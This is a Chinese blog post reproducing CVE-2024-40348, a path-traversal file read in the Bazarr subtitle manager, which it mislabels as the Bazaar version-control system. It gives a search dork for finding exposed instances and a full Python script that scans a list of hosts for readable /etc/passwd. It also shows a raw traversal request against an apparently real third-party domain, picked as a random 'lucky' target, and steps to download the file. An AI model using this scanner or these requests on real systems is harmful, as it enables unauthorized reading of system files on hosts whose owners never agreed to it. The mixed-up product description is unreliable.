【漏洞复现】Bazaar CVE-2024-40348 任意文件读取漏洞

         声明:本文档或演示材料仅用于教育和教学目的。如果任何个人或组织利用本文档中的信息进行非法活动,将与本文档的作者或发布者无关。

一、漏洞描述

Bazaar是一个功能强大的版本控制系统,它能够帮助用户详细记录项目的历史变化,并简化与他人的协作流程。无论是单打独斗的开发者、紧密合作的团队,还是遍布全球的开源社区成员,Bazaar都能灵活适应各种需求。然而,它的static接口存在一个严重的安全漏洞,攻击者可以利用这个漏洞读取系统的敏感文件信息。

二、资产收集

1.使用网络空间测绘引擎搜索

鹰图检索:title="Bazarr"

2.使用poc批量扫描

import urllib.request
import urllib3
from urllib.parse import urljoin,quote
import argparse
import ssl
import re

# 禁用SSL证书验证,允许不安全的请求
ssl._create_default_https_context = ssl._create_unverified_context
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def read_file(file_path):
    # 读取文件中的URL列表
    with open(file_path, 'r') as file:
        urls = file.read().splitlines()
    return urls

def check(url):
    # 移除URL末尾的斜杠
    url = url.rstrip("/")
    # 构造目标URL,尝试访问API文档中的敏感文件etc/passwd
    target = url+"/api/swaggerui/static/../../../../../../../../../../../../../../../../etc/passwd"
    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36"
    }
    try:
        # 发送GET请求
        response = urllib.request.Request(target, headers=headers, method="GET", unverifiable=True)
        res = urllib.request.urlopen(response)
        status_code = res.getcode()
        content = res.read().decode()
        # 检查响应状态码和内容,判断是否成功读取到etc/passwd文件
        if status_code == 200 and 'root:' in content and 'var' in content:
            print(f"\033[31mDiscovered:{url}: Bazaar_CVE-2024-40348_ArbiraryFileRead!\033[0m")
            return True
    except Exception as e:
        print(e)

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", help="URL")
    parser.add_argument("-f", "--txt", help="file")
    args = parser.parse_args()
    url = args.url
    txt = args.txt
    if url:
        # 如果提供了单个URL,直接检查
        check(url)
    elif txt:
        # 如果提供了包含多个URL的文件,逐个检查
        urls = read_file(txt)
        for url in urls:
            check(url)
    else:
        # 如果没有提供任何参数,显示帮助信息
        print("help")

cmd运行:python poc.py -f host.txt

 随机寻找的幸运儿

三、漏洞复现 

1.构造数据包

1.构造数据包:

GET /api/swaggerui/static/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/2
Host: subs.kalvisbuls.xyz
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close

2.数据包分析 

这是一个HTTP GET请求的数据包,用于从服务器获取资源。下面是对这个数据包的详细解释:

1. `GET /api/swaggerui/static/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/2`: 这是请求行,表示客户端想要从服务器获取的资源。这里的URL是`/api/swaggerui/static/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd`,其中`%2F`是URL编码中的斜杠(/),`%2E`是点(.)。这个URL试图访问服务器上的`/etc/passwd`文件,这是一个包含用户信息的敏感文件。

2. `Host: subs.kalvisbuls.xyz`: 这是请求头的一部分,指定了请求的目标服务器。在这个例子中,目标服务器的域名是`subs.kalvisbuls.xyz`。

3. `User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36`: 这是请求头的一部分,描述了发起请求的客户端的类型和版本。在这个例子中,客户端是一个运行在Windows NT 6.1系统上的浏览器,具体是Chrome 41.0.2228.0版本。

4. `Accept-Encoding: gzip, deflate`: 这是请求头的一部分,告诉服务器客户端可以接受的响应内容的压缩格式。在这个例子中,客户端可以接受gzip或deflate压缩的内容。

5. `Accept: */*`: 这是请求头的一部分,表示客户端可以接受任何类型的响应内容。

6. `Connection: close`: 这是请求头的一部分,表示客户端希望在响应完成后关闭连接。这意味着服务器在发送完响应后不会保持与客户端的连接。

3.结束跑路

1.构造数据包,发送读取服务器/etc/passwd

2.直接使用游览器访问,http://ip/api/swaggerui/static/../../../../../../../../../../etc/passwd

3.打开下载下来的文件查看 

每篇一言:爱若执炬迎风,炽烈而哀恸,诸般滋味皆在其中。

  • 15
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Cityミ slaves

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值